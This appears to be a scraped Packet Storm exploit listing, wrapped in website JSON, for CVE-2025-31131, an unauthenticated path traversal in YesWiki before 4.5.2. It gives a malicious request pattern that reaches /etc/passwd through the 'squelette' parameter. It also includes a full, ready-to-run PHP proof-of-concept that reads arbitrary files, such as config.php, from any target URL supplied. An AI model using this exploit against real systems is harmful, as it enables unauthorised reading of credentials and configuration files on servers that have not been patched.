{“lastseen”:”2025-11-26T18:13:51″,”description”:”YesWiki versions prior to 4.5.2 are vulnerable to an unauthenticated path traversal vulnerability through the squelette parameter. A remote attacker can leverage this flaw to read arbitrary files on the target system…”,”published”:”2025-11-26T00:00:00″,”modified”:”2025-11-26T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 YesWiki Directory Traversal”,”source”:””,”references”:””,”id”:”PACKETSTORM:212109″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-31131″],”sourceData”:”=============================================================================================================================================\\n | # Title : YesWiki 4.5.2 Directory Traversal |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/github.com\/YesWiki\/yeswiki |\\n =============================================================================================================================================\\n \\n [+] Summary : \\n \\n YesWiki versions prior to **4.5.2** are vulnerable to an **unauthenticated path traversal** vulnerability through the `squelette` parameter. \\n A remote attacker can leverage this flaw to read arbitrary files on the target system, \\n including sensitive files such as:\\n \\n \/etc\/passwd\\n \/var\/www\/html\/config.php\\n \\n \\n This issue can be exploited without authentication.\\n \\n ——————————————————————————-\\n \\n ## 2. Technical Details\\n \\n The vulnerable parameter is: squelette=\\n \\n By supplying traversal sequences (`..\/`) combined with encoded filenames, \\n an attacker can escape the intended directory and access system files.\\n \\n Example malicious request pattern: \/?UrkCEO\/edit\\u0026theme=margot\\u0026squelette=..\/..\/..\/..\/..\/..\/etc\/passwd\\u0026style=margot.css\\n \\n The application does not validate or sanitize the `squelette` parameter, \\n resulting in Local File Inclusion (LFI).\\n \\n [+] References : ( CVE-2025-31131 ) \\n \\n 1. Save the file as: poc.php\\n \\n 2. Edit the target:\\n “`php\\n $target = \\”http:\/\/TARGET\\”;\\n \\n 3.Execute: php poc.php http:\/\/127.0.0.1 \/var\/www\/html\/config.php\\n \\n \\n [+] POC\\n \\n \\u003c?php\\n \/*\\n * YesWiki \\u003c 4.5.2 – Unauthenticated Path Traversal (CVE-2025-31131)\\n * by: Indoushka\\n *\/\\n \\n function banner() {\\n echo str_repeat(\\”=\\”, 80) . PHP_EOL;\\n echo \\” YesWiki \\u003c 4.5.2 – Unauthenticated Path Traversal (CVE-2025-31131)\\” . PHP_EOL;\\n echo \\” Exploit Author: Al Baradi Joy\\” . PHP_EOL;\\n echo \\” PHP Version by: Indoushka\\” . PHP_EOL;\\n echo str_repeat(\\”=\\”, 80) . PHP_EOL;\\n }\\n \\n function exploit($target, $filename = \\”\/etc\/passwd\\”) {\\n if (!preg_match(‘\/^http\/’, $target)) {\\n $target = \\”http:\/\/\\” . $target;\\n }\\n \\n $traversal = str_repeat(\\”..\/\\”, 8);\\n $encoded = str_replace(\\”\/\\”, \\”%2f\\”, $filename);\\n \\n $payload = \\”\/?UrkCEO\/edit\\u0026theme=margot\\u0026squelette={$traversal}{$encoded}\\u0026style=margot.css\\”;\\n $url = rtrim($target, \\”\/\\”) . $payload;\\n \\n echo \\”[+] Target: $target\\\\n\\”;\\n echo \\”[+] Trying to read: $filename\\\\n\\”;\\n \\n $response = @file_get_contents($url);\\n \\n if ($response !== false) {\\n if (strpos($response, \\”root:\\”) !== false || strlen($response) \\u003e 50) {\\n echo \\”[+] Exploit successful! File contents:\\\\n\\\\n\\”;\\n echo $response;\\n } else {\\n echo \\”[!] Exploit failed. Response too small or file unreadable.\\\\n\\”;\\n echo $response . \\”\\\\n\\”;\\n }\\n } else {\\n echo \\”[!] Request failed. Target unreachable.\\\\n\\”;\\n }\\n }\\n \\n banner();\\n \\n if ($argc \\u003c 2) {\\n echo \\”Usage: php \\” . $argv[0] . \\” \\u003ctarget_url\\u003e [file_to_read]\\\\n\\”;\\n echo \\”Example: php \\” . $argv[0] . \\” http:\/\/victim.com \/etc\/passwd\\\\n\\”;\\n exit;\\n }\\n \\n $target = $argv[1];\\n $file = $argv[2] ?? \\”\/etc\/passwd\\”;\\n \\n exploit($target, $file);\\n ?\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212109″,”cvss”:{“score”:8.6,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:N\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212109\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-26T18:13:51″,”description”:”YesWiki versions prior to 4.5.2 are vulnerable to an unauthenticated path traversal vulnerability through the squelette parameter. A remote attacker can leverage this flaw to…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,81,12,15,13,53,7,11,5],"class_list":["post-27756","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-86","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n